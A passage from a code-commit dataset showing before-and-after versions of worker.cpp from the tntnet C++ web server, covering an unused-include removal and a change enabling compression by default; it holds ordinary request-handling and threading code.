::choose_number_of_segments(void)\n{\n return 2;\n} \/\/ end segmented_storage::choose_number_of_segments()\n\n\n} \/\/ end detail\n\n} \/\/ end thrust\n\n<|endoftext|>"} {"text":"<commit_before>\/* worker.cpp\n * Copyright (C) 2003-2005 Tommi Maekitalo\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but\n * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied\n * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and\n * NON-INFRINGEMENT. See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * In addition, as a special exception, the copyright holders give\n * permission to link the code of portions of this program with the\n * OpenSSL library under certain conditions as described in each\n * individual source file, and distribute linked combinations\n * including the two.\n * You must obey the GNU General Public License in all respects\n * for all of the code used other than OpenSSL. If you modify\n * file(s) with this exception, you may extend this exception to your\n * version of the file(s), but you are not obligated to do so. If you\n * do not wish to do so, delete this exception statement from your\n * version. If you delete this exception statement from all source\n * files in the program, then also delete it here.\n *\/\n\n#include \"tnt\/worker.h\"\n#include \"tnt\/dispatcher.h\"\n#include \"tnt\/job.h\"\n#include <tnt\/httprequest.h>\n#include <tnt\/httpreply.h>\n#include <tnt\/httperror.h>\n#include <tnt\/http.h>\n#include <tnt\/poller.h>\n#include <tnt\/sessionscope.h>\n#include <cxxtools\/log.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n#include <locale>\n#include <errno.h>\n\nlog_define(\"tntnet.worker\")\n\nnamespace\n{\n class ComponentUnloadLock\n {\n tnt::Component& comp;\n\n public:\n ComponentUnloadLock(tnt::Component& c)\n : comp(c)\n { comp.lock(); }\n ~ComponentUnloadLock()\n { comp.unlock(); }\n };\n\n static const char stateStarting[] = \"0 starting\";\n static const char stateWaitingForJob[] = \"1 waiting for job\";\n static const char stateParsing[] = \"2 parsing request\";\n static const char statePostParsing[] = \"3 post parsing\";\n static const char stateDispatch[] = \"4 dispatch\";\n static const char stateProcessingRequest[] = \"5 processing request\";\n static const char stateFlush[] = \"6 flush\";\n static const char stateSendReply[] = \"7 send reply\";\n static const char stateSendError[] = \"8 send error\";\n static const char stateStopping[] = \"9 stopping\";\n}\n\nnamespace tnt\n{\n cxxtools::Mutex Worker::mutex;\n unsigned Worker::nextThreadNumber = 0;\n Worker::workers_type Worker::workers;\n unsigned Worker::compLifetime = 600;\n unsigned Worker::maxRequestTime = 600;\n unsigned Worker::reportStateTime = 0;\n time_t Worker::nextReportStateTime = 0;\n unsigned Worker::minThreads = 5;\n bool Worker::enableCompression = true;\n\n Worker::ComploaderPoolType Worker::comploaderPool;\n\n Worker::Worker(Tntnet& app)\n : application(app),\n comploaderObject(comploaderPool.get()),\n comploader(comploaderObject),\n threadId(0),\n state(stateStarting),\n lastWaitTime(0)\n {\n log_debug(\"initialize thread \" << threadId);\n\n cxxtools::MutexLock lock(mutex);\n workers.insert(this);\n }\n\n Worker::~Worker()\n {\n cxxtools::MutexLock lock(mutex);\n workers.erase(this);\n comploader.cleanup(0);\n\n log_debug(\"delete worker \" << threadId << \" - \" << workers.size() << \" threads left - \" << application.getQueue().getWaitThreadCount() << \" waiting threads\");\n }\n\n void Worker::run()\n {\n threadId = pthread_self();\n Jobqueue& queue = application.getQueue();\n log_debug(\"start thread \" << threadId);\n while (queue.getWaitThreadCount() < minThreads)\n {\n log_debug(\"waiting for job\");\n state = stateWaitingForJob;\n Jobqueue::JobPtr j = queue.get();\n if (Tntnet::shouldStop())\n {\n log_warn(\"stop worker\");\n break;\n }\n log_debug(\"got job - fd=\" << j->getFd());\n\n std::iostream& socket = j->getStream();\n\n try\n {\n bool keepAlive;\n do\n {\n time(&lastWaitTime);\n\n log_debug(\"read request\");\n\n keepAlive = false;\n state = stateParsing;\n j->getParser().parse(socket);\n state = statePostParsing;\n\n if (socket.eof())\n log_debug(\"eof\");\n else if (j->getParser().failed())\n {\n state = stateSendError;\n log_warn(\"bad request\");\n socket << \"HTTP\/1.0 500 bad request\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html><body><h1>Error<\/h1><p>bad request<\/p><\/body><\/html>\"\n << std::endl;\n }\n else if (socket.fail())\n log_error(\"socket failed\");\n else\n {\n j->getRequest().doPostParse();\n\n j->setWrite();\n keepAlive = processRequest(j->getRequest(), socket,\n j->decrementKeepAliveCounter());\n\n if (keepAlive)\n {\n j->setRead();\n j->clear();\n\n \/\/ if there is something to do and no threads waiting, we take\n \/\/ the next job just to improve resposiveness.\n if (queue.getWaitThreadCount() == 0\n && !queue.empty())\n {\n application.getPoller().addIdleJob(j);\n keepAlive = false;\n }\n else\n {\n struct pollfd fd;\n fd.fd = j->getFd();\n fd.events = POLLIN;\n if (::poll(&fd, 1, Job::getSocketReadTimeout()) == 0)\n {\n application.getPoller().addIdleJob(j);\n keepAlive = false;\n }\n }\n }\n }\n } while (keepAlive);\n }\n catch (const cxxtools::net::Timeout& e)\n {\n log_debug(\"timeout - put job in poller\");\n application.getPoller().addIdleJob(j);\n }\n catch (const cxxtools::net::Exception& e)\n {\n if (e.getErrno() != ENOENT)\n log_warn(\"unexpected exception: \" << e.what());\n }\n catch (const std::exception& e)\n {\n log_warn(\"unexpected exception: \" << e.what());\n }\n }\n\n time(&lastWaitTime);\n\n log_debug(\"end worker-thread \" << threadId);\n\n state = stateStopping;\n }\n\n bool Worker::processRequest(HttpRequest& request, std::iostream& socket,\n unsigned keepAliveCount)\n {\n \/\/ log message\n log_info(\"process request: \" << request.getMethod() << ' ' << request.getQuery()\n << \" from client \" << request.getPeerIp() << \" user-Agent \\\"\" << request.getUserAgent()\n << '\"');\n\n \/\/ create reply-object\n HttpReply reply(socket);\n reply.setVersion(request.getMajorVersion(), request.getMinorVersion());\n reply.setMethod(request.getMethod());\n\n std::locale loc = request.getLocale();\n reply.out().imbue(loc);\n reply.sout().imbue(loc);\n\n if (request.keepAlive())\n reply.setKeepAliveCounter(keepAliveCount);\n\n if (enableCompression)\n reply.setAcceptEncoding(request.getEncoding());\n\n \/\/ process request\n try\n {\n try\n {\n dispatch(request, reply);\n\n if (!request.keepAlive() || !reply.keepAlive())\n keepAliveCount = 0;\n\n if (keepAliveCount > 0)\n log_debug(\"keep alive\");\n else\n {\n log_debug(\"no keep alive request\/reply=\"\n << request.keepAlive() << '\/' << reply.keepAlive());\n }\n }\n catch (const HttpError& e)\n {\n throw;\n }\n catch (const std::exception& e)\n {\n throw HttpError(HTTP_INTERNAL_SERVER_ERROR, e.what());\n }\n }\n catch (const HttpError& e)\n {\n state = stateSendError;\n log_warn(\"http-Error: \" << e.what());\n HttpReply reply(socket);\n reply.setVersion(request.getMajorVersion(), request.getMinorVersion());\n if (request.keepAlive())\n reply.setKeepAliveCounter(keepAliveCount);\n else\n keepAliveCount = 0;\n reply.out() << \"<html><body><h1>Error<\/h1><p>\"\n << e.what() << \"<\/p><\/body><\/html>\" << std::endl;\n reply.sendReply(e.getErrcode(), e.getErrmsg());\n }\n\n return keepAliveCount > 0;\n }\n\n void Worker::dispatch(HttpRequest& request, HttpReply& reply)\n {\n state = stateDispatch;\n const std::string& url = request.getUrl();\n\n log_debug(\"dispatch \" << request.getQuery());\n\n if (!HttpRequest::checkUrl(url))\n throw HttpError(HTTP_BAD_REQUEST, \"illegal url\");\n\n Dispatcher::PosType pos(application.getDispatcher(), request.getUrl());\n while (true)\n {\n state = stateDispatch;\n\n \/\/ pos.getNext() throws NotFoundException at end\n Dispatcher::CompidentType ci = pos.getNext();\n try\n {\n log_debug(\"load component \" << ci);\n Component& comp = comploader.fetchComp(ci, application.getDispatcher());\n ComponentUnloadLock unload_lock(comp);\n request.setPathInfo(ci.hasPathInfo() ? ci.getPathInfo() : url);\n request.setArgs(ci.getArgs());\n\n application.getScopemanager().preCall(request, ci.libname);\n\n log_debug(\"call component \" << ci << \" path \" << request.getPathInfo());\n state = stateProcessingRequest;\n unsigned http_return = comp(request, reply, request.getQueryParams());\n if (http_return != DECLINED)\n {\n if (reply.isDirectMode())\n {\n log_info(\"request ready, returncode \" << http_return);\n state = stateFlush;\n reply.out().flush();\n }\n else\n {\n log_info(\"request ready, returncode \" << http_return << \" - ContentSize: \" << reply.getContentSize());\n\n application.getScopemanager().postCall(request, reply, ci.libname);\n\n state = stateSendReply;\n reply.sendReply(http_return);\n }\n\n if (reply.out())\n log_debug(\"reply sent\");\n else\n log_warn(\"stream error\");\n\n return;\n }\n else\n log_debug(\"component \" << ci << \" returned DECLINED\");\n }\n catch (const cxxtools::dl::DlopenError& e)\n {\n log_warn(\"dl::DlopenError catched - libname \" << e.getLibname());\n }\n catch (const cxxtools::dl::SymbolNotFound& e)\n {\n log_warn(\"dl::SymbolNotFound catched - symbol \" << e.getSymbol());\n }\n }\n\n throw NotFoundException(request.getUrl());\n }\n\n void Worker::timer()\n {\n time_t currentTime;\n time(¤tTime);\n bool reportState = false;\n if (reportStateTime > 0 && currentTime > nextReportStateTime)\n {\n if (nextReportStateTime)\n reportState = true;\n nextReportStateTime = currentTime + reportStateTime;\n }\n\n cxxtools::MutexLock lock(mutex);\n for (workers_type::iterator it = workers.begin();\n it != workers.end(); ++it)\n {\n (*it)->healthCheck(currentTime);\n (*it)->cleanup(compLifetime);\n if (reportState)\n log_info(\"threadstate \" << (*it)->threadId << \": \" << (*it)->state);\n }\n }\n\n void Worker::healthCheck(time_t currentTime)\n {\n if (state != stateWaitingForJob\n && lastWaitTime != 0\n && maxRequestTime > 0)\n {\n if (currentTime - lastWaitTime > maxRequestTime)\n {\n log_fatal(\"requesttime \" << maxRequestTime << \" seconds in thread \"\n << threadId << \" exceeded - exit process\");\n log_info(\"current state: \" << state);\n exit(111);\n }\n }\n }\n\n Worker::workers_type::size_type Worker::getCountThreads()\n {\n cxxtools::MutexLock lock(mutex);\n return workers.size();\n }\n}\n<commit_msg>remove unused include<commit_after>\/* worker.cpp\n * Copyright (C) 2003-2005 Tommi Maekitalo\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but\n * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied\n * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and\n * NON-INFRINGEMENT. See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * In addition, as a special exception, the copyright holders give\n * permission to link the code of portions of this program with the\n * OpenSSL library under certain conditions as described in each\n * individual source file, and distribute linked combinations\n * including the two.\n * You must obey the GNU General Public License in all respects\n * for all of the code used other than OpenSSL. If you modify\n * file(s) with this exception, you may extend this exception to your\n * version of the file(s), but you are not obligated to do so. If you\n * do not wish to do so, delete this exception statement from your\n * version. If you delete this exception statement from all source\n * files in the program, then also delete it here.\n *\/\n\n#include \"tnt\/worker.h\"\n#include \"tnt\/dispatcher.h\"\n#include \"tnt\/job.h\"\n#include <tnt\/httprequest.h>\n#include <tnt\/httpreply.h>\n#include <tnt\/httperror.h>\n#include <tnt\/http.h>\n#include <tnt\/poller.h>\n#include <cxxtools\/log.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n#include <locale>\n#include <errno.h>\n\nlog_define(\"tntnet.worker\")\n\nnamespace\n{\n class ComponentUnloadLock\n {\n tnt::Component& comp;\n\n public:\n ComponentUnloadLock(tnt::Component& c)\n : comp(c)\n { comp.lock(); }\n ~ComponentUnloadLock()\n { comp.unlock(); }\n };\n\n static const char stateStarting[] = \"0 starting\";\n static const char stateWaitingForJob[] = \"1 waiting for job\";\n static const char stateParsing[] = \"2 parsing request\";\n static const char statePostParsing[] = \"3 post parsing\";\n static const char stateDispatch[] = \"4 dispatch\";\n static const char stateProcessingRequest[] = \"5 processing request\";\n static const char stateFlush[] = \"6 flush\";\n static const char stateSendReply[] = \"7 send reply\";\n static const char stateSendError[] = \"8 send error\";\n static const char stateStopping[] = \"9 stopping\";\n}\n\nnamespace tnt\n{\n cxxtools::Mutex Worker::mutex;\n unsigned Worker::nextThreadNumber = 0;\n Worker::workers_type Worker::workers;\n unsigned Worker::compLifetime = 600;\n unsigned Worker::maxRequestTime = 600;\n unsigned Worker::reportStateTime = 0;\n time_t Worker::nextReportStateTime = 0;\n unsigned Worker::minThreads = 5;\n bool Worker::enableCompression = true;\n\n Worker::ComploaderPoolType Worker::comploaderPool;\n\n Worker::Worker(Tntnet& app)\n : application(app),\n comploaderObject(comploaderPool.get()),\n comploader(comploaderObject),\n threadId(0),\n state(stateStarting),\n lastWaitTime(0)\n {\n log_debug(\"initialize thread \" << threadId);\n\n cxxtools::MutexLock lock(mutex);\n workers.insert(this);\n }\n\n Worker::~Worker()\n {\n cxxtools::MutexLock lock(mutex);\n workers.erase(this);\n comploader.cleanup(0);\n\n log_debug(\"delete worker \" << threadId << \" - \" << workers.size() << \" threads left - \" << application.getQueue().getWaitThreadCount() << \" waiting threads\");\n }\n\n void Worker::run()\n {\n threadId = pthread_self();\n Jobqueue& queue = application.getQueue();\n log_debug(\"start thread \" << threadId);\n while (queue.getWaitThreadCount() < minThreads)\n {\n log_debug(\"waiting for job\");\n state = stateWaitingForJob;\n Jobqueue::JobPtr j = queue.get();\n if (Tntnet::shouldStop())\n {\n log_warn(\"stop worker\");\n break;\n }\n log_debug(\"got job - fd=\" << j->getFd());\n\n std::iostream& socket = j->getStream();\n\n try\n {\n bool keepAlive;\n do\n {\n time(&lastWaitTime);\n\n log_debug(\"read request\");\n\n keepAlive = false;\n state = stateParsing;\n j->getParser().parse(socket);\n state = statePostParsing;\n\n if (socket.eof())\n log_debug(\"eof\");\n else if (j->getParser().failed())\n {\n state = stateSendError;\n log_warn(\"bad request\");\n socket << \"HTTP\/1.0 500 bad request\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html><body><h1>Error<\/h1><p>bad request<\/p><\/body><\/html>\"\n << std::endl;\n }\n else if (socket.fail())\n log_error(\"socket failed\");\n else\n {\n j->getRequest().doPostParse();\n\n j->setWrite();\n keepAlive = processRequest(j->getRequest(), socket,\n j->decrementKeepAliveCounter());\n\n if (keepAlive)\n {\n j->setRead();\n j->clear();\n\n \/\/ if there is something to do and no threads waiting, we take\n \/\/ the next job just to improve resposiveness.\n if (queue.getWaitThreadCount() == 0\n && !queue.empty())\n {\n application.getPoller().addIdleJob(j);\n keepAlive = false;\n }\n else\n {\n struct pollfd fd;\n fd.fd = j->getFd();\n fd.events = POLLIN;\n if (::poll(&fd, 1, Job::getSocketReadTimeout()) == 0)\n {\n application.getPoller().addIdleJob(j);\n keepAlive = false;\n }\n }\n }\n }\n } while (keepAlive);\n }\n catch (const cxxtools::net::Timeout& e)\n {\n log_debug(\"timeout - put job in poller\");\n application.getPoller().addIdleJob(j);\n }\n catch (const cxxtools::net::Exception& e)\n {\n if (e.getErrno() != ENOENT)\n log_warn(\"unexpected exception: \" << e.what());\n }\n catch (const std::exception& e)\n {\n log_warn(\"unexpected exception: \" << e.what());\n }\n }\n\n time(&lastWaitTime);\n\n log_debug(\"end worker-thread \" << threadId);\n\n state = stateStopping;\n }\n\n bool Worker::processRequest(HttpRequest& request, std::iostream& socket,\n unsigned keepAliveCount)\n {\n \/\/ log message\n log_info(\"process request: \" << request.getMethod() << ' ' << request.getQuery()\n << \" from client \" << request.getPeerIp() << \" user-Agent \\\"\" << request.getUserAgent()\n << '\"');\n\n \/\/ create reply-object\n HttpReply reply(socket);\n reply.setVersion(request.getMajorVersion(), request.getMinorVersion());\n reply.setMethod(request.getMethod());\n\n std::locale loc = request.getLocale();\n reply.out().imbue(loc);\n reply.sout().imbue(loc);\n\n if (request.keepAlive())\n reply.setKeepAliveCounter(keepAliveCount);\n\n if (enableCompression)\n reply.setAcceptEncoding(request.getEncoding());\n\n \/\/ process request\n try\n {\n try\n {\n dispatch(request, reply);\n\n if (!request.keepAlive() || !reply.keepAlive())\n keepAliveCount = 0;\n\n if (keepAliveCount > 0)\n log_debug(\"keep alive\");\n else\n {\n log_debug(\"no keep alive request\/reply=\"\n << request.keepAlive() << '\/' << reply.keepAlive());\n }\n }\n catch (const HttpError& e)\n {\n throw;\n }\n catch (const std::exception& e)\n {\n throw HttpError(HTTP_INTERNAL_SERVER_ERROR, e.what());\n }\n }\n catch (const HttpError& e)\n {\n state = stateSendError;\n log_warn(\"http-Error: \" << e.what());\n HttpReply reply(socket);\n reply.setVersion(request.getMajorVersion(), request.getMinorVersion());\n if (request.keepAlive())\n reply.setKeepAliveCounter(keepAliveCount);\n else\n keepAliveCount = 0;\n reply.out() << \"<html><body><h1>Error<\/h1><p>\"\n << e.what() << \"<\/p><\/body><\/html>\" << std::endl;\n reply.sendReply(e.getErrcode(), e.getErrmsg());\n }\n\n return keepAliveCount > 0;\n }\n\n void Worker::dispatch(HttpRequest& request, HttpReply& reply)\n {\n state = stateDispatch;\n const std::string& url = request.getUrl();\n\n log_debug(\"dispatch \" << request.getQuery());\n\n if (!HttpRequest::checkUrl(url))\n throw HttpError(HTTP_BAD_REQUEST, \"illegal url\");\n\n Dispatcher::PosType pos(application.getDispatcher(), request.getUrl());\n while (true)\n {\n state = stateDispatch;\n\n \/\/ pos.getNext() throws NotFoundException at end\n Dispatcher::CompidentType ci = pos.getNext();\n try\n {\n log_debug(\"load component \" << ci);\n Component& comp = comploader.fetchComp(ci, application.getDispatcher());\n ComponentUnloadLock unload_lock(comp);\n request.setPathInfo(ci.hasPathInfo() ? ci.getPathInfo() : url);\n request.setArgs(ci.getArgs());\n\n application.getScopemanager().preCall(request, ci.libname);\n\n log_debug(\"call component \" << ci << \" path \" << request.getPathInfo());\n state = stateProcessingRequest;\n unsigned http_return = comp(request, reply, request.getQueryParams());\n if (http_return != DECLINED)\n {\n if (reply.isDirectMode())\n {\n log_info(\"request ready, returncode \" << http_return);\n state = stateFlush;\n reply.out().flush();\n }\n else\n {\n log_info(\"request ready, returncode \" << http_return << \" - ContentSize: \" << reply.getContentSize());\n\n application.getScopemanager().postCall(request, reply, ci.libname);\n\n state = stateSendReply;\n reply.sendReply(http_return);\n }\n\n if (reply.out())\n log_debug(\"reply sent\");\n else\n log_warn(\"stream error\");\n\n return;\n }\n else\n log_debug(\"component \" << ci << \" returned DECLINED\");\n }\n catch (const cxxtools::dl::DlopenError& e)\n {\n log_warn(\"dl::DlopenError catched - libname \" << e.getLibname());\n }\n catch (const cxxtools::dl::SymbolNotFound& e)\n {\n log_warn(\"dl::SymbolNotFound catched - symbol \" << e.getSymbol());\n }\n }\n\n throw NotFoundException(request.getUrl());\n }\n\n void Worker::timer()\n {\n time_t currentTime;\n time(¤tTime);\n bool reportState = false;\n if (reportStateTime > 0 && currentTime > nextReportStateTime)\n {\n if (nextReportStateTime)\n reportState = true;\n nextReportStateTime = currentTime + reportStateTime;\n }\n\n cxxtools::MutexLock lock(mutex);\n for (workers_type::iterator it = workers.begin();\n it != workers.end(); ++it)\n {\n (*it)->healthCheck(currentTime);\n (*it)->cleanup(compLifetime);\n if (reportState)\n log_info(\"threadstate \" << (*it)->threadId << \": \" << (*it)->state);\n }\n }\n\n void Worker::healthCheck(time_t currentTime)\n {\n if (state != stateWaitingForJob\n && lastWaitTime != 0\n && maxRequestTime > 0)\n {\n if (currentTime - lastWaitTime > maxRequestTime)\n {\n log_fatal(\"requesttime \" << maxRequestTime << \" seconds in thread \"\n << threadId << \" exceeded - exit process\");\n log_info(\"current state: \" << state);\n exit(111);\n }\n }\n }\n\n Worker::workers_type::size_type Worker::getCountThreads()\n {\n cxxtools::MutexLock lock(mutex);\n return workers.size();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* worker.cpp\n Copyright (C) 2003-2005 Tommi Maekitalo\n\nThis file is part of tntnet.\n\nTntnet is free software; you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nTntnet is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with tntnet; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330,\nBoston, MA 02111-1307 USA\n*\/\n\n#include \"tnt\/worker.h\"\n#include \"tnt\/dispatcher.h\"\n#include \"tnt\/job.h\"\n#include <tnt\/httprequest.h>\n#include <tnt\/httpreply.h>\n#include <tnt\/httperror.h>\n#include <tnt\/http.h>\n#include <tnt\/poller.h>\n#include <tnt\/sessionscope.h>\n#include <cxxtools\/log.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n#include <locale>\n\nlog_define(\"tntnet.worker\")\n\nnamespace\n{\n class ComponentUnloadLock\n {\n tnt::Component& comp;\n\n public:\n ComponentUnloadLock(tnt::Component& c)\n : comp(c)\n { comp.lock(); }\n ~ComponentUnloadLock()\n { comp.unlock(); }\n };\n\n static const char stateStarting[] = \"0 starting\";\n static const char stateWaitingForJob[] = \"1 waiting for job\";\n static const char stateParsing[] = \"2 parsing request\";\n static const char statePostParsing[] = \"3 post parsing\";\n static const char stateDispatch[] = \"4 dispatch\";\n static const char stateProcessingRequest[] = \"5 processing request\";\n static const char stateFlush[] = \"6 flush\";\n static const char stateSendReply[] = \"7 send reply\";\n static const char stateSendError[] = \"8 send error\";\n static const char stateStopping[] = \"9 stopping\";\n}\n\nnamespace tnt\n{\n cxxtools::Mutex Worker::mutex;\n unsigned Worker::nextThreadNumber = 0;\n Worker::workers_type Worker::workers;\n unsigned Worker::compLifetime = 600;\n unsigned Worker::maxRequestTime = 600;\n unsigned Worker::reportStateTime = 0;\n time_t Worker::nextReportStateTime = 0;\n unsigned Worker::minThreads = 5;\n bool Worker::enableCompression = false;\n\n Worker::ComploaderPoolType Worker::comploaderPool;\n\n Worker::Worker(Tntnet& app)\n : application(app),\n comploaderObject(comploaderPool.get()),\n comploader(comploaderObject),\n threadId(0),\n state(stateStarting),\n lastWaitTime(0)\n {\n log_debug(\"initialize thread \" << threadId);\n\n cxxtools::MutexLock lock(mutex);\n workers.insert(this);\n }\n\n Worker::~Worker()\n {\n cxxtools::MutexLock lock(mutex);\n workers.erase(this);\n comploader.cleanup(0);\n\n log_debug(\"delete worker \" << threadId << \" - \" << workers.size() << \" threads left - \" << application.getQueue().getWaitThreadCount() << \" waiting threads\");\n }\n\n void Worker::run()\n {\n threadId = pthread_self();\n Jobqueue& queue = application.getQueue();\n log_debug(\"start thread \" << threadId);\n while (queue.getWaitThreadCount() < minThreads)\n {\n log_debug(\"waiting for job\");\n state = stateWaitingForJob;\n Jobqueue::JobPtr j = queue.get();\n log_debug(\"got job - fd=\" << j->getFd());\n\n std::iostream& socket = j->getStream();\n\n try\n {\n bool keepAlive;\n do\n {\n time(&lastWaitTime);\n\n keepAlive = false;\n log_debug(\"call parser\");\n state = stateParsing;\n j->getParser().parse(socket);\n state = statePostParsing;\n\n if (socket.eof())\n log_debug(\"eof\");\n else if (j->getParser().failed())\n {\n state = stateSendError;\n log_warn(\"bad request\");\n socket << \"HTTP\/1.0 500 bad request\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html><body><h1>Error<\/h1><p>bad request<\/p><\/body><\/html>\"\n << std::endl;\n }\n else if (socket.fail())\n log_error(\"socket failed\");\n else\n {\n j->getRequest().doPostParse();\n\n j->setWrite();\n keepAlive = processRequest(j->getRequest(), socket,\n j->decrementKeepAliveCounter());\n\n if (keepAlive)\n {\n j->setRead();\n j->clear();\n\n \/\/ if there is something to do and no threads waiting, we take\n \/\/ the next job just to improve resposiveness.\n if (queue.getWaitThreadCount() == 0\n && !queue.empty())\n {\n application.getPoller().addIdleJob(j);\n keepAlive = false;\n }\n }\n }\n } while (keepAlive);\n }\n catch (const cxxtools::net::Timeout& e)\n {\n log_debug(\"timeout - put job in poller\");\n application.getPoller().addIdleJob(j);\n }\n catch (const std::exception& e)\n {\n log_warn(\"unexpected exception: \" << e.what());\n }\n }\n\n time(&lastWaitTime);\n\n log_debug(\"end worker-thread \" << threadId);\n\n state = stateStopping;\n }\n\n bool Worker::processRequest(HttpRequest& request, std::iostream& socket,\n unsigned keepAliveCount)\n {\n \/\/ log message\n log_info(\"process request: \" << request.getMethod() << ' ' << request.getUrl()\n << \" from client \" << request.getPeerIp() << \" user-Agent \\\"\" << request.getUserAgent()\n << '\"');\n\n \/\/ create reply-object\n HttpReply reply(socket);\n reply.setVersion(request.getMajorVersion(), request.getMinorVersion());\n reply.setMethod(request.getMethod());\n std::string LANG = request.getLang();\n if (!LANG.empty())\n {\n try\n {\n std::locale loc(LANG.c_str());\n reply.out().imbue(loc);\n reply.sout().imbue(loc);\n }\n catch (const std::exception& e)\n {\n log_warn(\"unknown locale \" << LANG);\n }\n }\n\n if (request.keepAlive())\n reply.setKeepAliveCounter(keepAliveCount);\n\n \/\/ process request\n try\n {\n try\n {\n dispatch(request, reply);\n\n if (!request.keepAlive() || !reply.keepAlive())\n keepAliveCount = 0;\n\n if (keepAliveCount > 0)\n log_debug(\"keep alive\");\n else\n {\n log_debug(\"no keep alive request\/reply=\"\n << request.keepAlive() << '\/' << reply.keepAlive());\n }\n }\n catch (const HttpError& e)\n {\n throw;\n }\n catch (const std::exception& e)\n {\n throw HttpError(HTTP_INTERNAL_SERVER_ERROR, e.what());\n }\n }\n catch (const HttpError& e)\n {\n state = stateSendError;\n log_warn(\"http-Error: \" << e.what());\n socket << \"HTTP\/1.0 \" << std::string(e.what(), 3) << \"\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html><body><h1>Error<\/h1><p>\"\n << e.what() << \"<\/p><\/body><\/html>\" << std::endl;\n return false;\n }\n\n return keepAliveCount > 0;\n }\n\n void Worker::dispatch(HttpRequest& request, HttpReply& reply)\n {\n state = stateDispatch;\n const std::string& url = request.getUrl();\n\n log_info(\"dispatch \" << request.getQuery());\n\n if (!HttpRequest::checkUrl(url))\n throw HttpError(HTTP_BAD_REQUEST, \"illegal url\");\n\n Dispatcher::PosType pos(application.getDispatcher(), request.getUrl());\n while (true)\n {\n state = stateDispatch;\n\n \/\/ pos.getNext() throws NotFoundException at end\n Dispatcher::CompidentType ci = pos.getNext();\n try\n {\n log_debug(\"load component \" << ci);\n Component& comp = comploader.fetchComp(ci, application.getDispatcher());\n ComponentUnloadLock unload_lock(comp);\n request.setPathInfo(ci.hasPathInfo() ? ci.getPathInfo() : url);\n request.setArgs(ci.getArgs());\n\n application.getScopemanager().preCall(request, ci.libname);\n\n log_info(\"call component \" << ci << \" path \" << request.getPathInfo());\n state = stateProcessingRequest;\n unsigned http_return = comp(request, reply, request.getQueryParams());\n if (http_return != DECLINED)\n {\n if (reply.isDirectMode())\n {\n log_info(\"request ready, returncode \" << http_return);\n state = stateFlush;\n reply.out().flush();\n }\n else\n {\n log_info(\"request ready, returncode \" << http_return << \" - ContentSize: \" << reply.getContentSize());\n\n application.getScopemanager().postCall(request, reply, ci.libname);\n\n if (enableCompression)\n reply.setAcceptEncoding(request.getEncoding());\n\n state = stateSendReply;\n reply.sendReply(http_return);\n }\n\n if (reply.out())\n log_info(\"reply sent\");\n\n return;\n }\n else\n log_debug(\"component \" << ci << \" returned DECLINED\");\n }\n catch (const cxxtools::dl::DlopenError& e)\n {\n log_warn(\"dl::DlopenError catched - libname \" << e.getLibname());\n }\n catch (const cxxtools::dl::SymbolNotFound& e)\n {\n log_warn(\"dl::SymbolNotFound catched - symbol \" << e.getSymbol());\n }\n }\n\n throw NotFoundException(request.getUrl());\n }\n\n void Worker::timer()\n {\n time_t currentTime;\n time(¤tTime);\n bool reportState = false;\n if (reportStateTime > 0 && currentTime > nextReportStateTime)\n {\n if (nextReportStateTime)\n reportState = true;\n nextReportStateTime = currentTime + reportStateTime;\n }\n\n cxxtools::MutexLock lock(mutex);\n for (workers_type::iterator it = workers.begin();\n it != workers.end(); ++it)\n {\n (*it)->healthCheck(currentTime);\n (*it)->cleanup(compLifetime);\n if (reportState)\n log_info(\"threadstate \" << (*it)->threadId << \": \" << (*it)->state);\n }\n }\n\n void Worker::healthCheck(time_t currentTime)\n {\n if (state != stateWaitingForJob\n && lastWaitTime != 0\n && maxRequestTime > 0)\n {\n if (currentTime - lastWaitTime > maxRequestTime)\n {\n log_fatal(\"requesttime \" << maxRequestTime << \" seconds in thread \"\n << threadId << \" exceeded - exit process\");\n log_info(\"current state: \" << state);\n exit(111);\n }\n }\n }\n\n Worker::workers_type::size_type Worker::getCountThreads()\n {\n cxxtools::MutexLock lock(mutex);\n return workers.size();\n }\n}\n<commit_msg>enable compression by default<commit_after>\/* worker.cpp\n Copyright (C) 2003-2005 Tommi Maekitalo\n\nThis file is part of tntnet.\n\nTntnet is free software; you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nTntnet is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with 